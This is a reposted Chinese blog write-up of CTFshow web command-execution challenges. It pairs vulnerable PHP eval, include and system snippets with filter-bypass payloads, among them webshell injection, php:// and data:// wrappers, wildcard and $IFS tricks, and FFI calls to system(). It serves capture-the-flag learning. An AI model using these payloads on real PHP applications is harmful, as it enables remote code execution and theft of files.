0


CTFshow(web命令执行)

通配符 ' * ' 占位符' ? '

1.

if(!preg_match("/flag/i", $c)

eval($c);

正则过滤flag字符,过滤大小写

几种绕过:

(1.)/?c=system(“ls”)

          /?c=system("tac")

(2.) /?c=eval($_POST[1]); #传个马

(3.) /?c=eval($_GET[1]);&1=phpinfo();

(4.) /?c=echo%20tac%20fla*; #利用反字节符

在 PHP 中,(反引号)是一个用于执行 shell 命令并返回其输出结果的语法糖。因此,当你在URL 中使用 echo tac fla*` 时,PHP 将执行 shell 命令 tac fla* 并返回其输出结果。,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。

(5)/?c=system('cp fla* 1.txt');

2.

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c)){
eval($c);
}

(1.)只过滤c没过滤别的?c=eval($_GET["b"]);&b=system("tac%20flag.php");

(2.)中国蚁剑传个马

3.

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i", $c)){
eval($c);
}

采用伪协议绕过

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。

4.

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|"/i", $c)){
eval($c);
}

%0a作用,这是url回车符,因为空格被过滤。

5.(eval变成include)

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}

采用伪协议

?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4= base64内容(<?php system('cat flag.php');?>)

6.

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
?c=data://text/plain,<?php%20system("tac%20fla?.php");?>

7.

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|~|`|@|#|\$|%|^|&|*|\(|\)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i", $c)){
eval($c);
}
}else{
highlight_file(FILE);
}

思路:异或,取反,无参

8.

if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(FILE);
}

命令

介绍

command >filename

把标准输出重定向到新文件中

command 1>filename

同上

command >>filename

把标准输出追加到文件中

command 1>>filename

同上

command 2>filename

把标准错误重定向到新文件中

command 2>>filename

把标准错误追加到新文件中

/dev/null 2>&1 就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。

当然%0a和;可以绕过

9.

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(FILE);
}

过滤空格,使用%09(TAB)进行绕过

10.

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|\$|*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(FILE);
}

还有几种绕过空格的方式 {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt

flag屏蔽可以用分号 fla''g 反斜杠 fl\ag.txt

末尾使用||(截断符号)绕过

cat命令为查看,当程序禁用cat命令时,可采用以下命令代替:

cat:由第一行开始显示内容,并将所有内容输出

tac:从最后一行倒序显示内容,并将所有内容输出

more:根据窗口大小,一页一页的现实文件内容

less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head:只显示头几行

tail:只显示最后几行

nl:类似于cat -n,显示时输出行号

tailf:类似于tail -f

sort%20/flag 读文件

11.

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|.*c.*a.t.|.*f.*l.*a.g.| |[0-9]|*|.*m.*o.*r.e.|.*w.*g.*e.t.|.*l.*e.*s.s.|.*h.*e.*a.d.|.*s.*o.*r.t.|.*t.*a.*i.l.|.*s.*e.d.|.*c.*u.t.|.*t.*a.c.|.*a.*w.k.|.*s.*t.*r.*i.*n.*g.s.|.*o.d.|.*c.*u.*r.l.|.*n.l.|.*s.*c.p.|.*r.m.|`|%|\x09|\x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(FILE);
}

使用 ?占位符

1.过滤 了很多命令。 中间这些个很多的星号的内容,其实 是说,含有 cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。

于是,有了payload

?c=/bin/ca?${IFS}????.??? 然后 查看源码

2.mv flag.php t.txt (mv${IFS}fla?.php${IFS}t.txt)

/?c=/bin/?at${IFS}t.txt

12.

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|`|%|\x09|\x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(FILE);
}

方法1

由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。

但因为字母不能传入,我们需要使用通配符?来进行代替

?c=/bin/base64 flag.php

替换后变成

?c=/???/????64 ????.???

方法2

没有过滤点

.相当于source 可以执行sh命令

source命令也称为“点命令”,也就是一个点符号(.)。

source命令通常用于重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录。

一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。

sh命令是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取。通过用户输入命令,和内核进行沟通!

开淦

在这个之前我们需要构造一个post上传文件的数据包。

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">

<label for="file">文件名:</label>

<input type="file" name="file" id="file">

<input type="submit" name="submit" value="提交"> </form> </body> </html>

创建html,之后网页抓包

构造poc执行命令

?c=.%20/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。

然后在上传文件内容添加sh命令

#!/bin/sh

ls

13.

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|[0-9]|`||#|'|"|`|%|\x09|\x26|\x0a|>|<|.|,|?|*|-|=|[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(FILE);
}

通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0

$(( ~$(()) )) :对0作取反运算,值为-1

$(( $(($(()))) $(($(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2

$(( $(( $(($(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1

故我们在$(( $(( )) ))里面放37个$(($(()))),得到-37,取反即可得到36:

14 post

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(FILE);
}

变为post了

方法一

c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

方法二

  • 使用此函数,将显示整个文件,其中可能包含敏感数据,例如密码等。

c=show_source("flag.php");

15.

// 你们在炫技吗?

if(isset($_POST['c'])){

$c= $_POST['c'];

eval($c);

}else{

highlight_file(FILE);

}
题目相同但是

藏别的目录去了

方法一

c=print_r(scandir("/"));先用scandir列根目录内容,用print_r回显。

也可以用这个c=var_dump(scandir('/'));

之后打印出根目录的falg.txt

http://4d916887-42e9-40de-9f52-90fedc2d079b.challenge.ctf.show/

读取函数readgzfile:可以读取非gz格式的文件

或者c=highlight_file('/flag.txt');

方法二

伪协议

var_dump(scandir('/')); include "php://filter/convert.base64-encode/resource=/flag.txt";

16、

error_reporting(0);

ini_set('display_errors', 0);

// 你们在炫技吗?

if(isset($_POST['c'])){

$c= $_POST['c'];

eval($c);

$s = ob_get_contents();

ob_end_clean();

echo preg_replace("/[0-9]|[a-z]/i","?",$s);

}else{

highlight_file(FILE);

}

?>

法一

在劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:

ob_flush();

ob_end_flush();

payload示例:

c=include('/flag.txt');ob_flush();

法二

提前终止程序,即执行完代码直接退出,可以调用的函数有:

exit();

die();

payload示例:

c=include('/flag.txt');exit();

17.

error_reporting(0);

ini_set('display_errors', 0);

// 你们在炫技吗?

if(isset($_POST['c'])){

$c= $_POST['c'];

eval($c);

$s = ob_get_contents();

ob_end_clean();

echo preg_replace("/[0-9]|[a-z]/i","?",$s);

}else{

highlight_file(FILE);

}

?>

禁用了好多,扫不出来根目录内容了都

开绕

c=var_export(scandir('/'));exit(0); 成功绕过

c=print_r(scandir("/"));exit(0); 被禁用

c=var_dump(scandir('/'));exit(0); 被禁用

c=require_once('/flagc.txt');exit(0);

getflag

伪协议glob

glob://
查找匹配的文件路径模式

// 循环 ext/spl/examples/ 目录里所有 *.php 文件

// 并打印文件名和文件尺寸

$it = new DirectoryIterator("glob://ext/spl/examples/*.php");

foreach($it as $f) {

printf("%s: %.1FK\n", $f->getFilename());

}

于是构造如下payload

<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $f) { echo ($f->__toString().' '); } exit(0); ?>

__toString()方法;

通过该方法,可以控制输出字符串的格式。该方法应当返回一个字符串值

当把对象传递print或者echo时,会自动调用该方法,

php中“.”是字符运算符,作用是把两个字符串连接起来

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

FFI

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象

$a='/readflag > 1.txt';//没有回显,所以将内容输出到1.txt

$ffi->system($a);//通过$ffi去调用system函数

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

标签: php

本文转载自: https://blog.csdn.net/Heathclyf/article/details/135609609
版权归原作者 Heathclyf 所有, 如有侵权,请联系我们删除。

“CTFshow(web命令执行)”的评论:

还没有评论